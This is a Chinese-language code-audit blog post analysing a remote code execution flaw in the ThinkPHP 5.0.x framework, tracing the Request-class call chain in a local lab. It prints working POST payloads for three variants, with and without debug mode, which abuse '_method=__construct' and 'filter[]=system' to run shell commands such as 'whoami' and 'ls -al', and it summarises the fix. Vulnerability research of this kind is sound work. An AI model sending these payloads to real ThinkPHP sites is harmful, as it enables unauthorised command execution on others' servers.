ThinkPHP5代码审计【RCE】

composer create-project --prefer-dist topthink/think=5.0.23 thinkphp_5.0.23

修改composer.json并去GitHub上下载thinkphp目录覆盖composer下载的thinkphp目录

开启debug模式

application/config.php下开启debug模式
在这里插入图片描述
同时可以看到_method变量
在这里插入图片描述

在thinkphp/start.php中打断点
在这里插入图片描述
按以下传值:

http://127.0.0.1/thinkphp_5.0.23/public/index.php

POST:
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami

在这里插入图片描述

分析

我们先分析run(),run()中一路过去都是配置一些东西,到routeCheck()方法需要跟进:
在这里插入图片描述
routeCheck()中有一个路由检测:
在这里插入图片描述
其中这一行获取变量$method,调用了Request类下的method方法
在这里插入图片描述

着重看看这里的method方法,它有一行这样的代码

$this->{$this->method}($_POST);

1.它会调用$this->method,这个$this->method来自于我们提交的伪装变量_method。可控!
2.而$_POST就是POST提交的值
总的来说就是可以调用Request类中的任意方法,参数是$_POST。是参数都是完全可控的,那应该调用什么方法呢?这就有很多选择了,但 __construct方法是能够覆盖类属性的,因此可以传值:_method=__construct。至此Request类的属性我们可以控制
在这里插入图片描述
关于routeCheck的剩下似乎都没啥好看的了,退出routeCheck方法。
在这里插入图片描述
接着往下走,判断是否开启debug,开启的话执行里面的操作

// 记录路由和请求信息
if (self::$debug) {
    Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
    Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
    Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}

其中param() 获取当前请求的参数,这跟参数有关系的,跟进
在这里插入图片描述

private function filterValue(&$value, $key, $filters)
{
   $default = array_pop($filters);
   foreach ($filters as $filter) {
       if (is_callable($filter)) {
           // 调用函数或者方法过滤
           $value = call_user_func($filter, $value);	//RCE!!
       }
       ......
       }
   return $this->filterExp($value);
}

最后会调用Request类下十分危险的filterValue(),因为这个方法含有call_user_func函数。本意调用$filter对值进行过滤,但由于类属性$this->filter被我们控制了,在getFilter方法中就将$this->filter赋给了$filter,导致我们间接控制了$filter,而$filter作为call_user_func函数的第一个参数,call_user_func()的第二个参数来自于$this->server,也是可以被覆盖的,可控!自然能RCE了。

payload
#ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug:

http://127.0.0.1/thinkphp_5.0.23/public/index.php

POST:
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami




未开启debug

未开启debug的RCE需要验证码的扩展包,没有就下在这里插入图片描述

composer require topthink/think-captcha=1.* 

然后把vendor目录替换原来的
在这里插入图片描述

在这里插入图片描述

分析

既然未开启debug,那么原来的这些代码是不可以执行了,那么其中的$request->param()也没戏了

if (self::$debug) {
  Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
  Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
  Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}

run()中继续往下看会执行exec():
·
跟进:
在这里插入图片描述
可见一旦$dispatch['type']=controller或者method,那就是跟开启debug一样都能调用param()
进入到param()中剩下的都是一样的过程了…
但如何使$dispatch['type']=controller或者method?这里看七月火师傅的操作是借助验证码类的路由地址:
在这里插入图片描述

而在 ThinkPHP5 完整版中,定义了验证码类的路由地址。程序在初始化时,会通过自动类加载机制,将 vendor 目录下的文件加载,这样在 GET 方式中便多了这一条路由。我们便可以利用这一路由地址,使得 $dispatch[‘type’] 等于 method ,从而完成 远程代码执行 漏洞。

在helper.php中有这样一条路由:
在这里插入图片描述
可见只要传入?s=captcha即可使$route=\think\captcha\CaptchaController@index

thinkphp/library/think/Route.php的parseRule方法下:
$route以下面的值传入

$route="\think\captcha\CaptchaController@index"

其中,只要匹配到$route 含有 \,返回的数组result中type=method
在这里插入图片描述
在这里插入图片描述
routeCheck方法后得到$dispatch的值:其中 $dispatch['method']已是method
在这里插入图片描述

payload
# ThinkPHP <= 5.0.23 无需开启debug,需要存在xxx的method路由,例如captcha
POST /index.php?s=captcha 

_method=__construct&filter[]=system&method=get&get[]=ls+-al
# 或者
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
修复

Request类下的method方法中增加了$this->method的检测,这样可调用的类只限于GET 、POST、DELETE、PUT、PATCH
在这里插入图片描述

另类RCE

看到feng师傅的文章中介绍了一种另类RCE的方式
不开启debug,不使用s=captcha ,如何RCE?起初我用5.0.18尝试不成功,换成了5.0.10发现可以,看来有利用局限性,索性就用这个版本演示了。

主要还是利用_method=__construct进行类属性覆盖,param()->input()->FilterValue()->call_user_func()这个流程,方法还是那些方法,但“入口”不一样罢了
在这里插入图片描述

分析

run()中继续看routeCheck()
和之前的一样,通过调用__CONSTRUCT方法覆盖类属性,
在这里插入图片描述
在Route::check()方法中URL没有东西就返回false$result,然后进入parseUrl()
在这里插入图片描述
parseUrl()最后会返回type=module,跟之前的很类似,也是要得到使type=model
在这里插入图片描述
从而得$dispatch['type']=model
在这里插入图片描述
在这里插入图片描述
进入module方法,一直到最后有个invokeMethod(),跟进
在这里插入图片描述

在这里插入图片描述
又是调用了Request类中的param(),跟之前一样把 这个方法作为利用点
在这里插入图片描述
这里$method=POST,然后一路下去有input方法,跟进
在这里插入图片描述
由于POST中的data是数组,会通过array_walk_recursive()函数对$data中每一个元素调用filterValue()函数进行过滤,过滤参数是$filter=system
在这里插入图片描述
所以会对$data数组进行循环取值赋给$value,进行当$value=whoami时

call_user_func($filter, $value)
call_user_func('system','whoami')

成功RCE!

payload
# ThinkPHP 5.0.8~5.0.19 但不确定
http://127.0.0.1/5.0.9/public/

_method=__construct&filter=system&filter&s=whoami  #注意里面有2个filter
总结

审了TP5的RCE,感觉比较关键的是call_user_func()函数了,导致能调用它的FilterValue方法一直是"集火目标"

今天审的RCE中,感觉主要是这样一个流程:

  1. 利用_method=__construct进行Request类的属性值覆盖。为call_user_func()做准备
  2. param()->input()->FilterValue()->call_user_func()
 Request 类中的 
 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input 方法均调用了 filterValue 方法
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 10
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值